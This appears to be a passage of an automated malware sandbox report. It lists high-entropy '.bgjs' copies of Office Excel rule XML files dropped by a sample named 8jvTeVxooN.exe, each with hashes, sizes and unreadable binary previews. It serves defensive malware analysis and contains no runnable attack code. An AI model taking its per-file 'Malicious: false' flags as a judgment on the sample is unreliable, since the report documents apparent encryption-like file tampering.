Preview:	<?xml0.9._\_?.....$....V3a....\q[4.y.U.....W<O..TZ..>..@D.J.p.2.Q[...]...;...:a.(`{..q....}..W.A.......mw......9>&.....;V..}...r\.....E..d...o..r.mM....v..v..l.U..%.'JL.y>.Y.S+...<.R.L....$..X&.I..\...5........y..i~..+...y9)F.....^:....p....B.....@....t......].....G.q..s..^..T.....#.O1...".^M.B...f.....B=b.nN..E$.g....@....&...#.'..}.Y.p..j.[.]}w..".HT...U.i.K.q....S..xQ$.y?..5=. E.T5.&..W9pb...Pw.Ji..F.......8.H.#.X...C../.G..k~/...#p.\....g....Y68e...s..].s.u.[A.\|..l....-.(.@.i.?X.!.yb.._`.[...+..h.gu..."..kPa..j..9O....<..D...-7..@...R$.._..'.{..<2`......b`.<..E...L....>............]iU./...t. ....p.<..\....O.>.Y..7.\|.U..)..f:X..2..3~.m~nR+.PBy......wA..........]Qx9.4a@....."......8(i...'..K......f. ..1.s..(;....H.r.....w)1.`N.c......x..*6.......!.n....5.....R.R...!.3`]..@o..._..6.6iw.0.....i(.ru...(J.^k....N.x.:.C{...q...<...j..Y...Z...t..+M.9.:.]....t..W1 .b..6A...._......d>.X\).g.j...`{...u...sI..LY`..s..@...L.;.0..%`..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.850597784574138
Encrypted:	false
SSDEEP:	24:m7ao6YCvCgjoONSLGjaRbCFkjPCi88EA2pguzfn13LUkY5N4Uc8q2ObD:mb6YCvlE9LGja9CFkuv8EH13Ln+CQqZD
MD5:	05796388B116595EACCBF6E5A073868B
SHA1:	C5E1BA385134CA827AB3990A69969E157909F0C8
SHA-256:	4AE78F365FA9C30CA2156A57A52959761815AAC3CA6B4F89B6537AA7B0BFC5E5
SHA-512:	7AD259FCF42E72A136E49B6F3F03B055001197DFB60FA04821541AC29E1594FB9E9DF8E3CF445633912BDC961DA2FF0A550544E1D869625ED48A123979235BAB
Malicious:	false
Preview:	<?xml...D`.y.?.H.4U..H.9mf..{+0....n....6\....WW)w....nf...~....M.n...C.k.F.....:u.M.jn.F...3......I.b.0.c.$>..<U..A8.....v?...j.....W.:...`.....tX.-....;....Za...mA...kk..3..Q...v.g0{...Z..!lSLb..{.......:Y...qu../e.....L...5.xY..6.`..xc...2=1.E.c....ck..wJ..qG-@..FTYI#..4.J...9sR..2.......i.(..~......\.F.6.....HVd.o.?.oX.}......j....zG.HB..-......!M.)..Cs.{;...F]\|...N.K.]2...Rz......^..<F........8.7Z..h......H.v^.......V..S.}..I..m{Z...A9)j.Jz.'..g..?...H>.\|\..<z.p.)v.WOn..!...OD.;u1.0.r.R..7jZu..1.z..U..<....]9p/H..L5V.m..>..i..f..<.f.r.*9.E.....y.}.....@...k....z....o.go.W3.W j\|e..y..w:......a.D.....z.....e.j.C\.4^W....>T.hti.....3.D.xK....I.7K..?o@:.E{.\|..vZ.j..6.'...........<..w..Vn...He..H:.3...X.J.A..........G.mrD.Aq..6.}.4i......J..@B..Y..O.....-...../+...h3.....P....Y..XX...0KG...,.K>p.IU....nn...]......_;.0@h\|W.A>..,....M.d.J9...C...1.p=...Q.B....B#.O...r+.eG...........5.I....v......ni....w.H..4....){.wf..-...wp..$

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.760269795176619
Encrypted:	false
SSDEEP:	24:crXijVhKYRP1oP900KsB8BoJm8skyrrI0QKFqFkIjObD:ySjrKI9u00TCBoJmrn4+WmD
MD5:	83DF8B188BEA2ED26B8272834BF7D032
SHA1:	F05B989CE684D9FD6DB940E5FF80DADBC62E3AD7
SHA-256:	14149DD86B3CA986C1174D03436308DCDC10385FCBF6F5E0D39CDA8348A1B29B
SHA-512:	894C94E9E302DE994D016E2A975FA5AB4193CD24343BF8439A9B09FC0514A3FE24446A33E5EA43130655CCD97937641CD269887B29BF7048DC622C68FE080212
Malicious:	false
Preview:	<?xml.]c..aS...M.2a ..y).E.%4a.k..h.?.y.n.:.P@-........%...]u..z...l6.Z1.c;.O.....].i..$..RK..c...'.U=M.8z\k.....J.Y..)......).SV..%.v&[.L;....@...}...e.O...G..D....[..W..X{.5.#........2..uR..t.1......a.Z5.$..U.,....a.p..j...P...xr.wz... ...j.?....O.%`.{.?...lP.b.B.}...%.!$u......a.y%...\..;K..........\|..k........%W..h..we.....\|.#.R....BF.X.h'..hr....'.r^p...........`hlP...re...d O.\|.7[......P...h....K..QAn.m.Q....E...e..f`-=C.4..R{..k.../..w...Sv-...g.".:..5B..9..C.Zx....'sD"....-<.30...T.=. .dn..F..h.R\.l./3k..e\|..f..hbF:.2.$"].....;......../'fYve..........T...a.3.B..MCq..j+.7.. r.?...9..,.O...I......[{e.h.S..W...gx...'..?.t;{....S.\|y.1...4K......gRhG.c...=be....q:..<.......g..N..m..~a/..%}.~.kD...ZL....@n.r...T.$P..."...-.H..A.ay@.]..c.. [2.XxN..H.H.E...1.A.!..+.rV.v......z.<.C7_.iD....7Z*..z&.9..q..Ds6...0i9.Rw.....L...F.....H.)...;..R.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.95023096757101
Encrypted:	false
SSDEEP:	96:WDqc/YjWQPAXf9VumjzOM2Fl382Fd2JYWL31pRta:WDqcLQAHumjBUl3Jdf8Ha
MD5:	B0EF68F3B5906FA2D7394DCA7F9F1C4F
SHA1:	D9D1B96450ACB56505BE36071D90E3FD69184AB9
SHA-256:	4C0072283C62DE20EC16F299135BF1C843FD6E62F46A361AC39471BC2786EBC7
SHA-512:	56AC5DB14C3733E3D4059329E75C55E217CD87ACC65F77D19065F303110E615705D7F42DB2D9C810200F16A4FD7BE144373458D1A405B096C68D698317A0509D
Malicious:	false
Preview:	<?xml..h.v....{....;.b..me` uy......ra..1......p..$,...C.....kR../.IO...e(X{.....8aOb..jK.V......z..Jy\//~Q.$..Z;0..,2$........x ..n...6..:..).Y......3...55....k....'p..4S)..Z...f...>...M;d.YE....u._\|.D(.-..8..2..r.+...R.....M../n.....E.\....p.&h.#j..-.m..X.W.+i........-..or.J......G..Rh.z....,...>...".#.u.....:...F.N..."}.U.f..gs].......[M4.....$oDy..rb..\|M.%^f.... .#..l......h..c@G45.....CU[z^...w..=.P~6.Q..%.{E.....B.....nW./...]....iP\|.Dl)/doD..&.p......s..e......F..L..i.^....v..(~?..M._....cUG.&..7Y..L..........E5Xz8...E........Yp.).z).......'!..G....v.q.d..~Xzj...L......:l.H.w.a.p...<....N[.f.N..._...w.`&>. s'.:3U.T..1..4....:.g.Xm.S0....tQ...W\.(.Q!..jvxe4.k......>Tc.P.N..J....{.rD.oV9..}.b!a.a..=p...-..~.....Rq8.".....a.`.9......Z..9.H..h..&0.S.....eR6.x(...e$.j..P.C...&.z...r\|.6.....!.Y..V.p.....X.{b.k....XD.\ju...R.....K.........O.+.__.a.\|.I.(..y...a...h##.X.zl...WYI..w&.W#...LO....W..o:Ai..........pu..).V...p?K..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.946475140539838
Encrypted:	false
SSDEEP:	48:EL7HHIGCQE242o24M6llITAjrKhVpXccuTXTTPG0g9/HgOcpYtcxuyzDtQA1FmD:WvCi4RllPrKXmCH2pNxuStDS
MD5:	36CEC5D0EFB165D57E82C9C9CB84594B
SHA1:	585568EA3F0D962A9C90632EC106491F4634BE05
SHA-256:	41E9BF4EB08380BF1877F9D8A57486C64BB8BFC0DD4B58897C52238AE51BF30F
SHA-512:	02F852B4888D68ED65CFAD845F6348AAE3B2690308B7C20537CBBA2BDEB093EFF1CC3CA849AFA5C22E9BF303912E4DDE5AB57DC1DAC9412D1D8BDF32E53D0F9A
Malicious:	false
Preview:	<?xml..BV?.!D`!.keT...`ho:.C.....K.......r,<WAg...).E .(0.@<^.h.V..8.##..D..3o_...I........%......o..C.b.H.x....i$..Y..c..:e..m..e...lk "T..q.&..Xe..K.T.1....._.c,,.{G..(.z.....U^..\|?.s.Z../G..;.....vz...'!, D.....H..H.Eg...d^...r.D..#..<7,&.'..(..a...eq.....'.@....1{H.>.D.y4.3{..2.h....-/.9..u${.).H.F......$..Y...{....3.}P.x.@h.D.3.....\P.O.3....]....i...l.z....+C..t..%.9.4.A....0...SU...PmP.u..Y...\._...P.f........k....u.0{x.`..5g...X+.s.g..ph.4...6..5.7.d...Z...............!...\tMi..:......jl.)................S.Q...M...........i...j...o..6 ...aO..K..I.h...c.>..C.E..\...r.}0..z..X..w{./-\|...X.....\|.....3.PUY..0n........^.<.0):.n<>"u2O................\|/..]....(.^.,...(...%V.g8...hK.Am...@?v...3.B...r.\]<v....Y..T...BD-..1)Y-=....PO.E............5.m\|f(.l#....wS.O....lB.....$.`.Zm....E....>9.:....<^..y.5.t`.)P%.....p.@_.b.....Y.....!r"#..X...q./......k.W...]M.\|X.+sJv.....F.6..^....\|..i...(.2q.z....U..Q'O.X.*C....<&.....`k`........j.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.946350710421403
Encrypted:	false
SSDEEP:	96:W9RhTQ9ZwPng9pFCdzIt7EfbhNWMXtvZGywJvgalAVI:ATaGPgvkdKY1iyOgal9
MD5:	D5CDE3A752EA45E6CFCE967F22DC41EE
SHA1:	C1AE1C824DDC5C968E27ED24C22CD97DF8AB72A3
SHA-256:	A11DA245B6F02F44D77B1F2587B011E413EE96BD163D62AD1932A59D1BBBA3B0
SHA-512:	421ED3736A0131D093E831469FCF50A6F594DF0CDCD4666B7CE4CB7B53968E3050B908646A9C38B07B266AFAB3D18D58F9148CFFBB5CAB1A0BF34185284FA8F6
Malicious:	false
Preview:	<?xml....P3Rp...p..y..@.E_....B..O..PQ.. \.}zY...9xlK....@....@a....?...Su/(07h.>..{<...4..d.j...o......O19..v0...%E..}._.2T....==<.c0.....pp..?Z.uB..S........u\|x\|.K...j{.Qp.6..f....6W...S.....9.OH\|N....r-..+qn.xF..>YW!..e...2..&......Ps..).......f.\...~[..OP..gL{.[.....U,....Q.X..8..6....c..a..N.(..Xz..:....=.....l....&..S...?..QS.ZW..x.:...7w.l&...C..FH...G..."...r.!%.a.2~.<.......K..`P.s.H...:.S.......y"...s.]..\|2r.~..F;..fC$@..jl..$.af._...n.'....+/1]Z:.(...!....!..n..&.ay.....u...}..........G...LZ;...1....t....\uC".M.@x.%.B..V.)M.L..i....o.A....I7&.<..w.U..#.f..u...R\|.ie.D.TL.......q.....L@^...B....g.c.:....Gw.l......Bk,b..y...6.7...^X.....%Zs>............3...H..5*.. .4X.F%.N...n......M.e!...r;...26.....4.q..9.g+KC...s...9...<.. ..%.#..,2.-..YU.."6.\|.+.P....../wO..._."..R.&.....'..[,.5...TC.T..M.....w}`sM{<.0.]............aZ...{..T......Q3.s.6@..25....p`.B.....^.....2.\D.C{\|pL...=.........#nL.i........?k]?..^..or)W.,..d6B..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.845942763471633
Encrypted:	false
SSDEEP:	24:4svMDeubNnOTI4wucMcj7Z0IwrA/321Zq5RWko08DqgObD:4svalnDbj71wc2Gqko08DqTD
MD5:	AF7085E5E068A5B921150B2A9475EF0A
SHA1:	8DA171D453FE02294C4FA490412BB2ABBD3C3F89
SHA-256:	84844831BD8F87C990DA6A6561C8561088699F90D1A4028979B79324A6729B6E
SHA-512:	1DAFC6258B3DD7B0AC2CFFE25AB4742F563D551A48766FA61AB411BF2F050D54B1E197C20217D812242B49E03C4D58D0F64FF4A7A58493510D1ED65FB3FDBD8B
Malicious:	false
Preview:	<?xml....0..B/M..D....E(.E..........W.Sd9bL.s.}v.$...:..5.Lg...` .#o..M..+..&\|..... D.......!-.e.O&.~>..dzB.Z.h.q)AS~....ks..?...0..:...[...1V..;lZ...KID.k<6.I.\..H.@...tg..j...']..............\|LI....0..e%...-....{..\|2..UOD.1...~.53..y&}.A...)o.!......U...2X+R.\|.....r..<.^..~V._.g.....G.E.......=G?.<U].4..t..2...l-..L..e.E..D....`....K^L.T"....>C...M'.\|.....164.e..NJ1-.c./..$.....k........g?..."...B.9d...i......T.)...]\|85j......W..hx...qi...S5b.^...ye.!......<%.T'T.I.>...5..`....S..T..x..6...a...^.#]O....S......;.....e.....]a...i./T.(..l.4.><..D.Hv..../.C-.!..'..^..p....pu........h..<}Y.{.....=.....+.U..#R...9:q..i.Qd......nR............vj.<..H.f..77S5.x5..\.e......+...g/...lz.....Sm..M&%.[.6.m6........A..h....S..oJ...]km..o..Y.<..@v..2....;.($.3.c../!I.."...;"9<.s\|D.u..TN.z(..r.eq...Hw..b=........TL...L.........J.Z../..D.#..<..d...J{...lY.6e...x..!37...p....d..\|....^.G0;.(2..,!GA*.7..'...XI\qc..._."o..8x...Nd5...B..w.6.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.921926770353953
Encrypted:	false
SSDEEP:	48:Z9gzI1XVDuvN0Chn7bNKfA8o4sJkr+gkjO82SZAqFoHiKTjGZ0Siyvi5YD:XmI1duvHJeAD4sJkQOCz/KTSCpyv
MD5:	5386FBB2F3DE0C7593FEA9E066714971
SHA1:	C4B2A6AD90C23FE534AAECCAA483E23D3B9080B4
SHA-256:	C7F077A89A7F01D72D71E4F838470BD95E7229B6581CC027CADA669DB65DACD2
SHA-512:	9DE8B09595B8BF432399A342400470FAAB1800A2B330E89CEFD821EB7B2D624FB71150F67C9BD1A88993A88EF9499EBDBFF949F2DBD1FF982CDE914C617CB791
Malicious:	false
Preview:	<?xml.#!$.$.@.$.PSN+.......^...\|..h.]....x..H.u...)."r.....DDm...~..7....,#...(.H...D.~....JtqD>........3....:.'x...d...oL$.sx_.<....v...6..".#...!...#.IA........] ....9.c.....CwOJ....,.bu...]I.E...]...l'z.....l!.....5.p..w.OVU...\|.i......J}...7.Q.....9..q..Z.Xb...u..)..N.w.]....S.t.-=.B..8....~...b......9..d 8.l.O2.G5..4Vr).....uZ#F.<......t.t.n..y........q..I../x.y<.B..em..e..~<Yth.......=.[..^nn...D5.....+....w.....vqJ.I..o...U....D-6a.Y%......`...Z.gb....j..........L>.6.Y.%c;.w.........1"..P......N.m!\|.'..'`..p...w.mP2A.......N...B.TD..H:..E..f.{...-..4..z2VM........9..@...8........tF.kS.5Ws...j...Wl.....z_}.Wk.v.?.N$.....3Zi$.]&2..w....../.....n.....}..d...U.H......!!..G?e%......Sa..w..?.A.... ...!/0.5...^..<..{L0\|...q..jA0.......7.}5.E..JIX..la..'.>\|v%..ZH..A\|.O@ls.}..e....l{..e..@E..N.SzY.O.y.BH.7......&...9.C\|Q..K[..8....x...e...s..1?.x..c....ux.\G.~.......y.i..=..KD.l...\Z.b;;m.>...d}.'*9..B.....'.6.......3.v...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.899076609323164
Encrypted:	false
SSDEEP:	48:coaG4i3SKhUz4mM81oYKM+ws/nZ3NH581D:h4gSKhZ2PY/Zlc
MD5:	A3D5ABB3CD4BCBE5EBB8EEB139FB2389
SHA1:	03F107341D1A86A281FFFA4EE7893F63CDED5F4C
SHA-256:	7621D0258A83DD21E8D71863C66750E6F272E9FCE19A8AA5314DAE65858ACDD6
SHA-512:	486E0D792813004467B20B8D7A864D4661BDEA5A391506484F4EFA7A0895E3DBC982938FD2BF812BAAB485A15F854E0009E5FFB3345624CDDD9CF8AF5DDD3BEB
Malicious:	false
Preview:	<?xml..K...O.o.{...<......s.#.p\anm~t.~l..`.OE.....1o..{.h;0......<uz.#D.%..@...].>bn.7^Y.......O.'.....($r...g.=.)j.,.pJ..@.....t..0....z...h..- ....V<.3\|'S.(N%.......\|J..\|..?.`}rDy.N.8{D..W....fjXz.(aX..6#n9N[.T6.....zg=.T.1..i@.b.H..K@u....i..!..I.z....M...5%.tO;.J.T}..Go}......Uj.....Max?MP..QpJ..ES....9p..',.n+l..s........A....h7.t...F.S..#...$l...YD.v.RV.z....s....#.d)..W.u..~..}..g..{Vj2.I.RyV'.E6..X...1.u.Y...[.X..1E.<S.+_..QN....c._.`z..e.$mC...../k.f......L.N.\".^....<.kR....~.c"..gi..j..Y:."%.......1.....@.\...%_V...a.^.......n...m(..]......"u....Z....^.0(0g(...........\|.(:'+...]./yy.uK..F........P..M...b'.9<... .i.c.......I{L....a........se;z...i......%...N....BH5T=.......(`...v...2%1w....Yt>....m.....,...R.&......v........@6.".2..6..H....].J.4]T..,..8...........s...K.u=.J...v...YX.:.{..A..t#.N%......B.7L..+(.mv@I..{[^...;......mo.M.....G......{O.PO..&+..j.....5.g.:...M...j.5..4........MA.I... ....{@....?.O..tn..?>M......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8676512589393095
Encrypted:	false
SSDEEP:	48:Gz5IZyYxgzz7S55sodXZW3LFCvj1X/imSu7VNDAkuD:GNIs2godcOamSy0
MD5:	61071539D8326B113246B41B2295CC99
SHA1:	CB8F76F470389254CEBC6D352A6C939B309635FA
SHA-256:	03FBA7BFF7D61C72C1210535807B1A7338A7CE11F1BE9705D99DC1D68F654406
SHA-512:	99A2B58ED291186F17C22A765C6CA702C8BBBC75615650E977EB610D37CFF4C08777E4CBAD35C40C3ADCD200DA9BAE93F3C06A6EC6B6837B6490A832A7AE68FD
Malicious:	false
Preview:	<?xml...P...6S&:O+.>...z...c<e..y..Q.T.v.H"I.(.._4.q.N...a..r7...S...-.[7.^...z.ZD.../.V.?}W...QIm.\|.K.D.n......y..N.\|@G..GC.^.o..U^e.X.bh.D.../Y.h.Ec............p.).)Z.Ce&.q?....BjOv..s.S..S.....0.LY.l..S..y...o......e..T.e.9..&.I..R..[....F.1....`.x4.V.......n.J..+.ZG.O..........bU..m...`.B......>..9/...,1..b..cR....H...m.>..:I.....O....!...\|.F...7..H...v.##.t.4........U1M.t.....Y(.j.G5....<..j..E..V&......%...Q.....K..A...8..<..+.a.....g1.3h....k..I\.....S.~..XKY..o.e.XNXc.3.....t...1.q..Y."\X.......>....5DD..!.an..dS..@V..7.#qaIH..,..qT...ywU.. .<.g.....6.b.OW.v..G..l%....ZM..z...fh7.\|N/.q.bR.Yo1-.h...9.G7q.B.S.f.._......2...../......?.o.a..<.6o.M...U...b-.R?..........{%..F....>..J ...l;..z..7..=.'PjiO[..+.....1>v./7.$.n.^...\|.C9.....P.q/`.KxP....R..qJ...g........(R}.n..r......]....)Z...0.4..g..H..o.b?>..wZc....>..N..#..A.#...oN....bB...q`.s.J>b}......F..~U..]..FHBE.r..R..%G....E@............v....)!.....a.)..-0.Z..'

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.929680880733476
Encrypted:	false
SSDEEP:	48:q1/KiuPfYk/jyCr1k6s1DBIlMr+q5YO0hwPvJLPQRBqDBlPYADD:qBvu4+r1kVBIqr+c9B9PQadL
MD5:	579F9FBBD85C4CA34B4C52C72040C9C0
SHA1:	4FCFEE6927C520CF07D78D03B69AB5886A1DFC1D
SHA-256:	9987F3AB31C1B68AD57116EF2A90EEA7BA906D411CC429497B73D8571951DBC4
SHA-512:	0E85BCAC8C0469CF612E423D49CD2CC25F745ADFE9FD480CC205BBE807083F4594866A5AEB5D66DD5529DDA0A9DEAD1315572CA585B82E881D678CB09099244C
Malicious:	false
Preview:	<?xml..0...... ....@.}.\|....c}7.w......`......`.f.~...t..FW...fn.Wu1.W,..fR=.K.".g...gvF....Zn'_....E=..I....$..5.:...j.+....`9..X.oz.w.Q......o..{.=...n..%..+..h(-S.P......9Gj.....;.7.w;G.z"..h....~....l<Y.07..9I...^..\pWlc..1.D=Q1.(..W.K..a....M.f\|M.dq.T47!"~....)..Q......_..vJ.pE_....\|..wA<...#...0>.s.. B1R....l_........Ml4j$PBG.>A..NM\|ld...Z;.........e.&.>8.~.d.........q....a8.m=...N......,....p.r..k#......MB..jv..q.PA.n.9...,....G#..\|5...+.pN4.Z.hG...l~h...k<+...o...o6/..y...BJ...Dl.d.....?....:...^=.t..R.~G..=.aup9"~. BU...;K9...1.....L.. ..`..S.2.ad\|.z..9.q2....Y$).....f\.N-;..~[.......q.!~...;....Z....../.7.5.]..&kB..SL#"\|...wA_.N.... U`.../....o.G....m/.....~P..2....8..zffd.....h.#o...\.....m.hI....('.....[...t..3.....EdU....Y`Z..+.U..:.z?.......W....[...*8../..OF(.L....1m...hP]-...y.)s\|.fv... y.W#.Z....../M.."...zw..G.8.......57lo.7.7......Nu....y....z..Q.+..:......F........?##.......+h.>....k..493..n{....p)..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.962610137424531
Encrypted:	false
SSDEEP:	96:j0sw5MKfrFPap5duhkv39G+auWZU2UWqoICnQ4WIJxx2QxCs+BkpCY2:jwBPW5Iq9G+auSgodQGJatsZp2
MD5:	DD43A0BC615EBC0CA570693370142B27
SHA1:	D408A3DE74F8C90F801EBDF0CAF45EA3C24DEF22
SHA-256:	B3B1EABC402F766476FB8FC94CD6FACB8930695EE9EFC7B9A4AEF9DA3BD28944
SHA-512:	05AE6846990D675336F0CC4F812C7190ADE897412D0556F53E97655000513957A5B4201C33A7DF892C7C16CD07D3DBAC4790B691210ACF82A7A14ADDF8B2499A
Malicious:	false
Preview:	<?xml)X.J.O!_.Q\|J.H.....@.K\|4.dUz......$3.b.BA_.....0....~............Y..S.....]E..o..&...w...\.`pr...GA>...s.\|.......9../.......U...............0z....M.\....!.t..uJ=..H...(.0.........w......x..h.`..=.m.e....a!Q.. ..U..G..->...#....3J..e..1..Yl..B#.%.p^..V.....W.M.1...!..~f.O"ah..RSt.a.\j!liR......^..(}:l.A..)S.......\|..6q.{..g.Y..^...a..y...8_....q).W....9p.....4.} .....[..R...t...V.p...1.pU.O.29......\|W.).m...$_..S.}.....T^.Y..M.L...d-i.....W2W..:pN.m../O-..^..b'.K.M..\|..S:....p.....n%..+m.X......I..@.3.+......d.......<.+..:....].....b.J?(.....i.\....V.....V]7...F..@pDa9..L.J...w.....~...5.H9(.s,.u...a..D..u?0l.f....%...b5@y.5..x0......[.Z/a4Y_..4..l.q.Q"E..f.Q.W.n[3Q.1~.r:..%.Z.../...,...!..J.^>.\|.R.2.:L..3O......>.F....Xb..<.4.L?..6.....g.uj..@.B3{..D..i.....UP:.5NB.j.ws........v.'..TC.*...A.Po.&.....'.o[.F....6f......h_u../p..SW..[]Wbw..41U.....\....<./.....]..(..L.iO3..u.>x....i.N...&..........~..x......,.LG..o.SF.A...p

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.978384887384554
Encrypted:	false
SSDEEP:	192:0JbzCWhoneG7+Mx2KznSoi6z65Fv4G74rLB3d:0J3CWhMeGqSTLz6DCLhd
MD5:	CC623A8FB51AD832D9ED4322AC5FB9B9
SHA1:	F09E7BC90F1EBB6454310B81D19491BF18D2DAA4
SHA-256:	3FE106B39A55A759D97727DFE2ACE895DADEC9DD6FCA7914CCE26AFE600A1AA1
SHA-512:	C76F04DD1F2DA25E4AE41E7756569A734C4E3B190DBE28F847C7E45521A9A90C80435BBFF485E4ABCAFBB49F107F8B421256A35288CDDB3CD5EC6736FB1E2731
Malicious:	false
Preview:	<?xmlLT..=...}.W...xy}....=\.;JR ....t...dy.;Q.t..-U.A...a.4v.b.7..?.tNOn.. Q-.....:.bp..U..fN......7.A.....h..q...%..%.W.L...~.S....v...(.3..Ri5.?.%P..D>..#F0.......\..c,].ej..Y.\..pa.D........T......G.[4B......-@.t....Z.Dc...4......a....s..d...f7.....>.Vi +......_......(&..\|.I....%H.......<A`\|.M....U.t.P............r..Z....3...O$..S.f.!...].O_4].5..;Y.#iI~Zw...ns..h..)A_.....E.....=`......f.....p.....e.BD?..w^.%tNoVs.6....M.jn...Sv.o.l?:.}......n...R.r......#&[.J\|.f/k.._.]..o.....W..j...f..HAB-...ke.6....Tq....a.bg..$. l5=.z+x...{.... f....1.....^D.:..n.......<.d..r...1..$..-^C5..?[.q.E..l..?..\.F9j..\.*j-...!.....;U...w. du...3..w.AoW..."o.0..._......... .....k%.J.-.>.i.V..T$...#....#..L.....J!z.....r?s.G..n...`..J....>...e.^.G-...\|....V......D.)e.......U..=.l..p./....Q^rJ.i.1..F.....v.Z.t...&..k..~.1LD.........\|Y..i.6..U5.'..8bp59...<B.\...\|...".-j.%...+...e.y.]....ZRm..h>X.[...BP..;wkKH4..pR....P....?.Tn.....?..6Kh.2$.F./...x.p.:

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.938817513333799
Encrypted:	false
SSDEEP:	48:LmrlRReS81UkEQAZXTueBhlNe9KIw4PP6VhkVVpc50afWbbh1NUZRn+FOQ/hiD:sR81UBpBHhlcs6M0pc503mZRn+0wq
MD5:	E3C342AEE1F605BEBED4A7CD5EC0017E
SHA1:	948EAF4D547D937F7EEBC0851B1C61425DCC5B73
SHA-256:	16C2984D6934CC22E288EE57CEDBD2C8EB0DC5202AE51D948CBEA77B2E4C9585
SHA-512:	91C1764D230461CDE630D1566CAF8177BF5795EB98EF56ED2D8C5D351F5FBFDAE7BE866204935EE860B747D066045F013F17460724A8DFEAEA0F7EA97FC3BF1C
Malicious:	false
Preview:	<?xml..(.. .7..RrP.....L.{..^........@..........RC.....(..'T.r..)E..^e.R0Hl......Od.0...F.._.^<.F@..k...%0$.o...&....{..t.......q.>.....}j.u...}..9..5q..5..d.t.8...x9.Jb..dT....^.......\|+]%....`3.u..,,........H......D.L.....#=......HkS.Q....j2.....d.\w..)?...C..#.f..]..U.R.3-8..P..)...=.....E..`#7>.{....K<.]..L{..uo.=.R=.........T.`c.OPD^..&.j...../.J.S..1x.8...s.s...bI....D..!.V.....$.:...y....K>y.."/...S....16.j.-..T.W.?d....n...te.BE.k...DK..u.@.........7N.n..\|..!..!..!.tE..r0.....;._..-....1..B+EH.TG..9^..G.v.joi..D.x>B..P..#....M..c....T.S..A6......G.zv..I......Qnu.R.%..>.vc.b-Y.....[.......#...V)..G.+.L..e...v..4....&....b..M.uHo}....Os.d..,.......#...7 e%.O..T.7..r.....F..+.X.:.s.`!.oN[z.N..Z~.].}...^...-S.ne....s6.....&...A..C..64k...E".Q.a..4c~.Z.'.........3..P....i=........l..=Wsi_..RD79.+~.i9p.....q.yW.-c....^AdAv..`/.0.PVPh.`.d.:....\|.E`.2J.t.Z..KK.....!^..D6.f...Z.x..h.).LK.vx.tv.9m..1_2N.+. .s.....j.e.\|....'sij..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.941969135609802
Encrypted:	false
SSDEEP:	96:has+9cQ7mYWn/+olg7514pWQsN/pyddZnCzoZxjJS:x/Q7mYLoM514pKkddI0TjJS
MD5:	3EA157957B000DF6AE9AFB82DAD4EA22
SHA1:	FDC7001FD4E6EAA1A1934A56B36A006DE6056D51
SHA-256:	A9386327AE9A25AB5CB29AD26F55E82BDE58A66112B7B4BD5BA5F06FD2ADCC7F
SHA-512:	6B8BDF39A0D260FE3B6F6EC894996CA9C523918EADD7D46B16FFB55239C63C7F08835B0F5FE30CE24ED003A3F641F97E0040C7DF6669CC33E5B0F795B260A69D
Malicious:	false
